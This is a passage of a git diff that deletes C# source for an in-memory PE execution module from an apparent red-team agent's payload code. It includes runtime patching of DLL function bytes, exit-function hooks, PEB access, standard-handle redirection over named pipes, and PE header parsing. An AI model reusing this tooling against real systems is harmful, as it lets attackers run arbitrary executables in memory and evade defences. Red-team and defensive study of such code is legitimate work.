- var executableName = Path.GetFileName(executablePath); - Console.WriteLine($"Executable name: {executableName}");; - - var peCommandLine = Environment.CommandLine.Substring(Environment.CommandLine.IndexOf(executableName)); - Console.WriteLine($"PE Command line: {peCommandLine}"); - - - - //var memoryPE = new PERunner.MemoryPE(executable, peCommandLine); - //memoryPE.ExecuteInThread(true, -1); - - //PERunner.RunPE(peMessage); - // Set up API hooking for console functions - using (ExitInterceptor interceptor = new ExitInterceptor()) - { - // Apply the patches before loading and running the PE - if (interceptor.ApplyExitFunctionPatches()) - { - using (PERunner.MemoryPE memoryPE = new PERunner.MemoryPE(executable, peCommandLine)) - { - // Create a wait handle to signal when execution is complete - var executionCompletedEvent = new ManualResetEvent(false); - - // Execute the PE in a separate thread to avoid blocking the main thread - //Console.WriteLine("\nExecuting PE file in a separate thread..."); - //Stopwatch sw = Stopwatch.StartNew(); - - ThreadPool.QueueUserWorkItem(_ => - { - try - { - // You can either use Execute() or ExecuteInThread() - Console.WriteLine("[*] Calling PE entry point..."); - int? return_code = memoryPE.ExecuteInThread(waitForExit: true); - Console.WriteLine($"\n[*] PE function returned with exit code: {return_code}"); - //Thread.Sleep(5000); - } - catch (Exception ex) - { - Console.WriteLine($"\nError during PE execution: {ex.Message}"); - } - finally - { - // Signal completion regardless of outcome - Console.WriteLine("in finally calling executionCompletedEvent"); - executionCompletedEvent.Set(); - Console.WriteLine("finishing ThreadPool work item"); - } - }); - - // Wait for either completion or cancellation - // Console.WriteLine("Waiting for PE execution to complete..."); - - // Create an array of wait handles to wait for - WaitHandle[] waitHandles = new WaitHandle[] - { - executionCompletedEvent, // PE execution completed - }; - - // Wait for any of the handles to be signaled - Console.WriteLine("waiting for executionCompletedEvent to trigger"); - int signalIndex = WaitHandle.WaitAny(waitHandles); - } - Console.WriteLine("about to remove exit hooks"); - bool removedHooks = interceptor.RemoveExitFunctionPatches(); - Console.WriteLine($"removed exit hooks: {removedHooks}"); - } - else - { - Console.WriteLine("Failed to apply exit function patches"); - } - } - Console.WriteLine("returning 0 from main program"); - return 0; - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/ExecutePE.csproj b/Payload_Type/apollo/apollo/agent_code/ExecutePE/ExecutePE.csproj deleted file mode 100644 index 2e85c34e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/ExecutePE.csproj +++ /dev/null @@ -1,23 +0,0 @@ - - - net451 - Exe - 12 - enable - false - true - AnyCPU;x64;x86 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/ExtensionMethods.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/ExtensionMethods.cs deleted file mode 100644 index 71a1b02a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/ExtensionMethods.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using System.Linq; - -namespace ExecutePE -{ - public static class ExtensionMethods - { - public static IntPtr Inc(this IntPtr ptr) - { - return IntPtr.Add(ptr, 1); - } - - public static IntPtr Dec(this IntPtr ptr) - { - return IntPtr.Subtract(ptr, 1); - } - - public static unsafe IntPtr Add(this IntPtr ptr, IntPtr offset) - { - if (IntPtr.Size == 4) - { - return new IntPtr((byte*)ptr + (uint)offset); - } - - if (IntPtr.Size == 8) - { - return new IntPtr((byte*)ptr + (ulong)offset); - } - - throw new NotSupportedException(); - } - - public static unsafe IntPtr Add(this IntPtr ptr, ulong offset) - { - return new IntPtr((byte*)ptr + offset); - } - - public static IntPtr Add(this IntPtr ptr, int offset) - { - unsafe - { - return new IntPtr((byte*)ptr + offset); - } - } - - public static IntPtr Add(this IntPtr ptr, uint offset) - { - unsafe - { - return new IntPtr((byte*)ptr + offset); - } - } - - public static IntPtr Add(this IntPtr ptr, params int[] offsets) - { - return Add(ptr, offsets.Sum()); - } - public static unsafe IntPtr Sub(this IntPtr ptr, IntPtr offset) - { - if (IntPtr.Size == 4) - { - return new IntPtr((byte*)ptr - (uint)offset); - } - - if (IntPtr.Size == 8) - { - return new IntPtr((byte*)ptr + (ulong)offset); - } - - throw new NotSupportedException(); - } - - public static unsafe IntPtr Sub(this IntPtr ptr, ulong offset) - { - return new IntPtr((byte*)ptr - offset); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/ExecutePE/FodyWeavers.xml deleted file mode 100644 index 286d191a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/ExecutePE/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/StdHandleRedirector.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/StdHandleRedirector.cs deleted file mode 100644 index 2b29be1d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/StdHandleRedirector.cs +++ /dev/null @@ -1,142 +0,0 @@ -#define NAMED_PIPE -using System; -using System.IO.Pipes; -using System.IO; -using static ExecutePE.Internals.NativeDeclarations; -using System.Threading.Tasks; -using System.Threading; -using ApolloInterop.Classes.Events; - -namespace ExecutePE.Helpers -{ - - class StdHandleRedirector : IDisposable - { - NamedPipeServerStream stdoutServerStream; - NamedPipeClientStream stdoutClientStream; - - FileStream stdoutReader; - - private IntPtr _oldStdout; - private IntPtr _oldStderr; - - private event EventHandler _stdoutHandler; - - private CancellationTokenSource _cts = new CancellationTokenSource(); - private Task _stdoutReadTask; - - public StdHandleRedirector(EventHandler stdoutHandler) - { - _stdoutHandler += stdoutHandler; - - Initialize(); - - _stdoutReadTask = new Task(() => - { - ReadStdoutAsync(); - }); - - - _stdoutReadTask.Start(); - } - - - private void Initialize() - { - - string stdoutGuid = Guid.NewGuid().ToString(); - - stdoutServerStream = new NamedPipeServerStream(stdoutGuid, PipeDirection.InOut, 100, PipeTransmissionMode.Byte, PipeOptions.Asynchronous); - stdoutServerStream.BeginWaitForConnection(new AsyncCallback(stdoutServerStream.EndWaitForConnection), stdoutServerStream); - - stdoutClientStream = new NamedPipeClientStream("127.0.0.1", stdoutGuid, PipeDirection.InOut, PipeOptions.Asynchronous); - stdoutClientStream.Connect(); - - stdoutReader = new FileStream(stdoutServerStream.SafePipeHandle.DangerousGetHandle(), FileAccess.Read); - - _oldStdout = GetStdHandle(StdHandles.Stdout); - _oldStderr = GetStdHandle(StdHandles.Stderr); - - SetStdHandle(StdHandles.Stdout, stdoutClientStream.SafePipeHandle.DangerousGetHandle()); - SetStdHandle(StdHandles.Stderr, stdoutClientStream.SafePipeHandle.DangerousGetHandle()); - } - - private void ReadFileStreamAsync(FileStream stream, EventHandler eventhandler) - { - int szBuf = 4096; - byte[] tmp; - int n; - byte[] newstr; - - do - { - tmp = new byte[szBuf]; - n = 0; - Task t = new Task(() => - { - n = stream.Read(tmp, 0, szBuf); - if (n > 0) - { - newstr = new byte[n]; - Array.Copy(tmp, newstr, n); - return Console.OutputEncoding.GetString(newstr); - } - return null; - }); - t.Start(); - try - { - t.Wait(_cts.Token); - } - catch (OperationCanceledException) - { - break; - } - if (t.Status == TaskStatus.RanToCompletion) - { - eventhandler?.Invoke(this, new StringDataEventArgs(t.Result)); - } - } while (!_cts.IsCancellationRequested); - - do - { - tmp = new byte[szBuf]; - n = stream.Read(tmp, 0, szBuf); - if (n > 0) - { - newstr = new byte[n]; - Array.Copy(tmp, newstr, n); - eventhandler?.Invoke(this, new StringDataEventArgs(Console.OutputEncoding.GetString(newstr))); - } - else - { - break; - } - } while (n > 0); - } - - private void ReadStdoutAsync() - { - ReadFileStreamAsync(stdoutReader, _stdoutHandler); - } - - public void Dispose() - { - SetStdHandle(StdHandles.Stderr, _oldStderr); - SetStdHandle(StdHandles.Stdout, _oldStdout); - - stdoutClientStream.Flush(); - - stdoutClientStream.Close(); - - _cts.Cancel(); - - Task.WaitAll(new Task[] - { - _stdoutReadTask - }); - - stdoutServerStream.Close(); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/Utils.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/Utils.cs deleted file mode 100644 index f6443442..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Helpers/Utils.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using System.Linq; -using System.Runtime.InteropServices; - -namespace ExecutePE.Helpers -{ - internal static class Utils - { - internal static byte[]? PatchFunction(string dllName, string funcName, byte[] patchBytes) - { - var moduleHandle = NativeDeclarations.GetModuleHandle(dllName); - var pFunc = NativeDeclarations.GetProcAddress(moduleHandle, funcName); - var originalBytes = new byte[patchBytes.Length]; - Marshal.Copy(pFunc, originalBytes, 0, patchBytes.Length); - - var result = NativeDeclarations.VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, - NativeDeclarations.PAGE_EXECUTE_READWRITE, out var oldProtect); - if (!result) - { - return null; - } - Marshal.Copy(patchBytes, 0, pFunc, patchBytes.Length); - - result = NativeDeclarations.VirtualProtect(pFunc, (UIntPtr)patchBytes.Length, oldProtect, out _); - if (!result) - { - } - return originalBytes; - } - - internal static bool PatchAddress(IntPtr pAddress, IntPtr newValue) - { - var result = NativeDeclarations.VirtualProtect(pAddress, (UIntPtr)IntPtr.Size, - NativeDeclarations.PAGE_EXECUTE_READWRITE, out var oldProtect); - if (!result) - { - return false; - } - - Marshal.WriteIntPtr(pAddress, newValue); - result = NativeDeclarations.VirtualProtect(pAddress, (UIntPtr)IntPtr.Size, oldProtect, out _); - if (!result) - { - return false; - } - return true; - } - - internal static bool ZeroOutMemory(IntPtr start, int length) - { - var result = NativeDeclarations.VirtualProtect(start, (UIntPtr)length, NativeDeclarations.PAGE_READWRITE, - out var oldProtect); - if (!result) - { - } - - var zeroes = new byte[length]; - for (var i = 0; i < zeroes.Length; i++) - { - zeroes[i] = 0x00; - } - - Marshal.Copy(zeroes.ToArray(), 0, start, length); - - result = NativeDeclarations.VirtualProtect(start, (UIntPtr)length, oldProtect, out _); - if (!result) - { - return false; - } - - return true; - } - - internal static void FreeMemory(IntPtr address) - { - NativeDeclarations.VirtualFree(address, 0, NativeDeclarations.MEM_RELEASE); - } - - internal static IntPtr GetPointerToPeb() - { - var currentProcessHandle = NativeDeclarations.GetCurrentProcess(); - var processBasicInformation = - Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NativeDeclarations.PROCESS_BASIC_INFORMATION))); - var outSize = Marshal.AllocHGlobal(sizeof(long)); - var pPEB = IntPtr.Zero; - - var result = NativeDeclarations.NtQueryInformationProcess(currentProcessHandle, 0, processBasicInformation, - (uint)Marshal.SizeOf(typeof(NativeDeclarations.PROCESS_BASIC_INFORMATION)), outSize); - - NativeDeclarations.CloseHandle(currentProcessHandle); - Marshal.FreeHGlobal(outSize); - - if (result == 0) - { - pPEB = ((NativeDeclarations.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(processBasicInformation, - typeof(NativeDeclarations.PROCESS_BASIC_INFORMATION))).PebAddress; - } - else - { - var error = NativeDeclarations.GetLastError(); - } - - Marshal.FreeHGlobal(processBasicInformation); - - return pPEB; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Internals/NativeDeclarations.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Internals/NativeDeclarations.cs deleted file mode 100644 index 9e825f00..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Internals/NativeDeclarations.cs +++ /dev/null @@ -1,162 +0,0 @@ -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace ExecutePE.Internals -{ - internal static unsafe class NativeDeclarations - { - [Flags] - public enum DuplicateOptions : uint - { - DuplicateCloseSource = 0x00000001, - DuplicateSameAccess = 0x00000002 - } - - internal enum StdHandles - { - Stdin = -10, - Stdout = -11, - Stderr = -12 - } - internal const uint PAGE_EXECUTE_READWRITE = 0x40; - internal const uint PAGE_READWRITE = 0x04; - internal const uint PAGE_EXECUTE_READ = 0x20; - internal const uint PAGE_EXECUTE = 0x10; - internal const uint PAGE_EXECUTE_WRITECOPY = 0x80; - internal const uint PAGE_NOACCESS = 0x01; - internal const uint PAGE_READONLY = 0x02; - internal const uint PAGE_WRITECOPY = 0x08; - - internal const uint MEM_COMMIT = 0x1000; - internal const uint MEM_RELEASE = 0x00008000; - - internal const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000; - internal const uint IMAGE_SCN_MEM_READ = 0x40000000; - internal const uint IMAGE_SCN_MEM_WRITE = 0x80000000; - - [StructLayout(LayoutKind.Sequential)] - internal struct IMAGE_BASE_RELOCATION - { - internal uint VirtualAdress; - internal uint SizeOfBlock; - } - - [DllImport("kernel32.dll")] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool SetStdHandle(StdHandles nStdHandle, IntPtr hHandle); - - [DllImport("kernel32.dll")] - internal static extern uint GetLastError(); - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern SafeFileHandle CreateNamedPipeA( - string lpName, - long dwOpenMode, - long dwPipeMode, - int nMaxInstances, - int nOutBufferSize, - int nInBufferSize, - int nDefaultTimeout, - SECURITY_ATTRIBUTES lpSecurityAttributes); - - [DllImport("Kernel32.dll", SetLastError = true)] - internal static extern SafeFileHandle CreateFileA( - string lpFileName, - long dwDesiredAccess, - long dwShareMode, - SECURITY_ATTRIBUTES lpSecurityAttributes, - long dwCreationDisposition, - long dwFlagsAndAttributes, - IntPtr hTemplateFile); - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern IntPtr GetStdHandle(StdHandles nStdHandle); - - [StructLayout(LayoutKind.Sequential)] - internal struct SECURITY_ATTRIBUTES - { - internal int nLength; - internal byte* lpSecurityDescriptor; - internal int bInheritHandle; - } - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, - uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); - - [DllImport("kernel32.dll")] - internal static extern bool CreatePipe(out SafeFileHandle hReadPipe, out SafeFileHandle hWritePipe, - ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize); - - [DllImport("ntdll.dll", SetLastError = true)] - internal static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, - IntPtr processInformation, uint processInformationLength, IntPtr returnLength); - - [DllImport("kernel32")] - internal static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, - uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - internal static extern IntPtr LoadLibrary(string lpFileName); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetCommandLine(); - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern bool DuplicateHandle( - IntPtr hSourceProcessHandle, - SafeFileHandle hSourceHandle, - IntPtr hTargetProcessHandle, - ref SafeFileHandle lpTargetHandle, - uint dwDesiredAccess, - bool bInheritHandle, - DuplicateOptions dwOptions - ); - - [DllImport("kernel32.dll", SetLastError = true)] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool CloseHandle(IntPtr hObject); - - [DllImport("kernel32.dll")] - internal static extern bool ClosePipe(IntPtr hPipe); - - [DllImport("kernel32")] - internal static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, - IntPtr param, uint dwCreationFlags, IntPtr lpThreadId); - - [DllImport("kernel32.dll")] - internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, - out uint lpFlOldProtect); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - internal static extern bool VirtualFree(IntPtr pAddress, uint size, uint freeType); - - [DllImport("kernel32")] - internal static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); - - [StructLayout(LayoutKind.Sequential)] - internal struct PROCESS_BASIC_INFORMATION - { - internal uint ExitStatus; - internal IntPtr PebAddress; - internal UIntPtr AffinityMask; - internal int BasePriority; - internal UIntPtr UniqueProcessId; - internal UIntPtr InheritedFromUniqueProcessId; - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Internals/PELoader.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Internals/PELoader.cs deleted file mode 100644 index 19b0885c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Internals/PELoader.cs +++ /dev/null @@ -1,286 +0,0 @@ -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace ExecutePE.Internals -{ - public class PELoader - { - public struct IMAGE_DOS_HEADER - { - // DOS .EXE header - public ushort e_magic; // Magic number - public ushort e_cblp; // Bytes on last page of file - public ushort e_cp; // Pages in file - public ushort e_crlc; // Relocations - public ushort e_cparhdr; // Size of header in paragraphs - public ushort e_minalloc; // Minimum extra paragraphs needed - public ushort e_maxalloc; // Maximum extra paragraphs needed - public ushort e_ss; // Initial (relative) SS value - public ushort e_sp; // Initial SP value - public ushort e_csum; // Checksum - public ushort e_ip; // Initial IP value - public ushort e_cs; // Initial (relative) CS value - public ushort e_lfarlc; // File address of relocation table - public ushort e_ovno; // Overlay number - public ushort e_res_0; // Reserved words - public ushort e_res_1; // Reserved words - public ushort e_res_2; // Reserved words - public ushort e_res_3; // Reserved words - public ushort e_oemid; // OEM identifier (for e_oeminfo) - public ushort e_oeminfo; // OEM information; e_oemid specific - public ushort e_res2_0; // Reserved words - public ushort e_res2_1; // Reserved words - public ushort e_res2_2; // Reserved words - public ushort e_res2_3; // Reserved words - public ushort e_res2_4; // Reserved words - public ushort e_res2_5; // Reserved words - public ushort e_res2_6; // Reserved words - public ushort e_res2_7; // Reserved words - public ushort e_res2_8; // Reserved words - public ushort e_res2_9; // Reserved words - public uint e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_DATA_DIRECTORY - { - public uint VirtualAddress; - public uint Size; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER32 - { - public ushort Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public uint BaseOfData; - public uint ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public ushort Subsystem; - public ushort DllCharacteristics; - public uint SizeOfStackReserve; - public uint SizeOfStackCommit; - public uint SizeOfHeapReserve; - public uint SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER64 - { - public ushort Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public ulong ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public ushort Subsystem; - public ushort DllCharacteristics; - public ulong SizeOfStackReserve; - public ulong SizeOfStackCommit; - public ulong SizeOfHeapReserve; - public ulong SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_FILE_HEADER - { - public ushort Machine; - public ushort NumberOfSections; - public uint TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public ushort Characteristics; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_SECTION_HEADER - { - [FieldOffset(0)] - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public char[] Name; - - [FieldOffset(8)] public uint VirtualSize; - [FieldOffset(12)] public uint VirtualAddress; - [FieldOffset(16)] public uint SizeOfRawData; - [FieldOffset(20)] public uint PointerToRawData; - [FieldOffset(24)] public uint PointerToRelocations; - [FieldOffset(28)] public uint PointerToLinenumbers; - [FieldOffset(32)] public ushort NumberOfRelocations; - [FieldOffset(34)] public ushort NumberOfLinenumbers; - [FieldOffset(36)] public SectionFlags Characteristics; - } - - [Flags] - public enum SectionFlags : uint - { - IMAGE_SCN_CNT_CODE = 0x00000020, - IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040, - IMAGE_SCN_MEM_DISCARDABLE = 0x02000000, - } - - - /// The DOS header - private IMAGE_DOS_HEADER dosHeader; - - /// The file header - private IMAGE_FILE_HEADER fileHeader; - - /// Optional 32 bit file header - private IMAGE_OPTIONAL_HEADER32 optionalHeader32; - - /// Optional 64 bit file header - private IMAGE_OPTIONAL_HEADER64 optionalHeader64; - - /// Image Section headers. Number of sections is in the file header. - private IMAGE_SECTION_HEADER[] imageSectionHeaders; - - private byte[] rawbytes; - - public PELoader(byte[] fileBytes) - { - // Read in the DLL or EXE and get the timestamp - using (var stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) - { - var reader = new BinaryReader(stream); - dosHeader = FromBinaryReader(reader); - - // Add 4 bytes to the offset - stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); - - var ntHeadersSignature = reader.ReadUInt32(); - fileHeader = FromBinaryReader(reader); - if (Is32BitHeader) - { - optionalHeader32 = FromBinaryReader(reader); - } - else - { - optionalHeader64 = FromBinaryReader(reader); - } - - imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; - for (var headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) - { - imageSectionHeaders[headerNo] = FromBinaryReader(reader); - } - - rawbytes = fileBytes; - } - } - - public static T FromBinaryReader(BinaryReader reader) - { - // Read in a byte array - var bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); - - // Pin the managed memory while, copy it out the data, then unpin it - var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); - var theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); - handle.Free(); - - return theStructure; - } - - public bool Is32BitHeader - { - get - { - ushort IMAGE_FILE_32BIT_MACHINE = 0x0100; - return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; - } - } - - public IMAGE_FILE_HEADER FileHeader - { - get { return fileHeader; } - } - - /// Gets the optional header - public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 - { - get { return optionalHeader64; } - } - - public IMAGE_SECTION_HEADER[] ImageSectionHeaders - { - get { return imageSectionHeaders; } - } - - public byte[] RawBytes - { - get { return rawbytes; } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/NativeDeclarations.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/NativeDeclarations.cs deleted file mode 100644 index c837e9ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/NativeDeclarations.cs +++ /dev/null @@ -1,148 +0,0 @@ -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace ExecutePE -{ - internal static unsafe class NativeDeclarations - { - internal enum StdHandle - { - Stdin = -10, - Stdout = -11, - Stderr = -12 - } - - internal const uint PAGE_EXECUTE_READWRITE = 0x40; - internal const uint PAGE_READWRITE = 0x04; - internal const uint PAGE_EXECUTE_READ = 0x20; - internal const uint PAGE_EXECUTE = 0x10; - internal const uint PAGE_EXECUTE_WRITECOPY = 0x80; - internal const uint PAGE_NOACCESS = 0x01; - internal const uint PAGE_READONLY = 0x02; - internal const uint PAGE_WRITECOPY = 0x08; - internal const uint MEM_COMMIT = 0x1000; - internal const uint MEM_RELEASE = 0x00008000; - - internal const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000; - internal const uint IMAGE_SCN_MEM_READ = 0x40000000; - internal const uint IMAGE_SCN_MEM_WRITE = 0x80000000; - - public struct IMAGE_BASE_RELOCATION - { - internal uint VirtualAddress; - internal uint SizeOfBlock; - - private IMAGE_BASE_RELOCATION(uint virtualAddress, uint sizeOfBlock) - { - VirtualAddress = virtualAddress; - SizeOfBlock = sizeOfBlock; - } - - public static IMAGE_BASE_RELOCATION Parse(byte[] b) - { - var virtualAddress = BitConverter.ToUInt32(b, 0); - var sizeOfBlock = BitConverter.ToUInt32(b, 4); - return new IMAGE_BASE_RELOCATION(virtualAddress, sizeOfBlock); - } - } - - internal enum X86BaseRelocationType : byte - { - IMAGE_REL_BASED_ABSOLUTE = 0, - IMAGE_REL_BASED_HIGH = 1, - IMAGE_REL_BASED_LOW = 2, - IMAGE_REL_BASED_HIGHLOW = 3, - IMAGE_REL_BASED_HIGHADJ = 4, - 